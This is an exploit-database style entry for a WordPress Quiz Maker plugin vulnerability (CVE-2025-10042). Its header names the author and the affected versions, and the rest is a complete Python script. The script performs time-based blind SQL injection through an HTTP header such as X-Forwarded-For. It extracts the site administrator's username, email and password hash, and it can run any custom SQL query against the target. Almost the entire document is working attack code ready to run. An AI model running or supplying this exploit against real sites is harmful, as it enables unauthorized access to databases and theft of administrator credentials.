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• exploit-code: # Exploit Title: WordPress Quiz Maker 6.7.0.56 - SQL Injection # Date: 2025-12-16 # Exploit Author: Rahul Sreenivasan (Tr0j4n) # Vendor Homepage: https://ays-pro.com/wordpress/quiz-maker # Software Link: https://wordpress.org/plugins/quiz-maker/ # Version: <= 6.7.0.56 # Tested on: WordPress 6.x with Quiz Maker 6.7.0.56 on Ubuntu/Nginx/PHP-FPM # CVE: CVE-2025-10042 from argparse import ArgumentParser from requests import get from requests.packages.urllib3 import disable_warnings from requests.packages.urllib3.exceptions import InsecureRequestWarning from time import time from sys import exit disable_warnings(InsecureRequestWarning) CHARSET = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-@.!$/:?" def send_payload(url, path, header, payload, timeout): target = f"{url.rstrip('/')}/{path.lstrip('/')}" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", header: payload } try: start = time() get(target, headers=headers, timeout=timeout, verify=False) return time() - start except: return timeout def check_vulnerable(url, path, header, sleep_time, timeout): print("[*] Testing for SQL injection vulnerability...") baseline = send_payload(url, path, header, "127.0.0.1", timeout) print(f"[*] Baseline response time: {baseline:.2f}s") payload = f"1' OR SLEEP({sleep_time})#" injection = send_payload(url, path, header, payload, timeout) print(f"[*] Injection response time: {injection:.2f}s") if injection >= sleep_time * 0.7: print("[+] Target is VULNERABLE!") return True else: print("[-] Target does not appear to be vulnerable.") return False def extract_length(url, path, header, query, timeout): low, high = 1, 100 while low < high: mid = (low + high) // 2 payload = f"1' OR IF(LENGTH(({query}))>{mid},SLEEP(1),0)#" elapsed = send_payload(url, path, header, payload, timeout) if elapsed >= 0.8: low = mid + 1 else: high = mid return low def extract_char(url, path, header, query, position, timeout): low, high = 32, 126 while low < high: mid = (low + high) // 2 payload = f"1' OR IF(ASCII(SUBSTRING(({query}),{position},1))>{mid},SLEEP(1),0)#" elapsed = send_payload(url, path, header, payload, timeout) if elapsed >= 0.8: low = mid + 1 else: high = mid return chr(low) if low <= 126 else "?" def extract_data(url, path, header, query, timeout): length = extract_length(url, path, header, query, timeout) print(f"[*] Data length: {length}") result = "" for i in range(1, length + 1): char = extract_char(url, path, header, query, i, timeout) result += char print(f"\r[*] Extracting: {result}", end="", flush=True) print() return result def dump_users(url, path, header, timeout): print("\n[*] Extracting WordPress admin users...") # Get admin user login query = "SELECT user_login FROM wp_users WHERE ID=1" username = extract_data(url, path, header, query, timeout) print(f"[+] Username: {username}") # Get admin email query = "SELECT user_email FROM wp_users WHERE ID=1" email = extract_data(url, path, header, query, timeout) print(f"[+] Email: {email}") # Get password hash query = "SELECT user_pass FROM wp_users WHERE ID=1" password = extract_data(url, path, header, query, timeout) print(f"[+] Password Hash: {password}") return username, email, password def main(): parser = ArgumentParser(description="WordPress Quiz Maker SQLi Exploit (CVE-2025-10042)") parser.add_argument("-u", "--url", required=True, help="Target WordPress URL") parser.add_argument("-p", "--path", required=True, help="Path to quiz page") parser.add_argument("-H", "--header", default="X-Forwarded-For", help="Header for injection") parser.add_argument("-t", "--timeout", type=int, default=10, help="Request timeout") parser.add_argument("--check", action="store_true", help="Only check vulnerability") parser.add_argument("--dump", action="store_true", help="Dump admin credentials") parser.add_argument("--query", help="Custom SQL query to extract") args = parser.parse_args() print("[+] WordPress Quiz Maker SQLi Exploit (CVE-2025-10042)") print(f"[+] Target: {args.url}") if not check_vulnerable(args.url, args.path, args.header, 3, args.timeout): exit(1) if args.check: exit(0) if args.dump: dump_users(args.url, args.path, args.header, args.timeout) elif args.query: print(f"\n[*] Executing custom query: {args.query}") result = extract_data(args.url, args.path, args.header, args.query, args.timeout) print(f"[+] Result: {result}") else: dump_users(args.url, args.path, args.header, args.timeout) if __name__ == "__main__": main()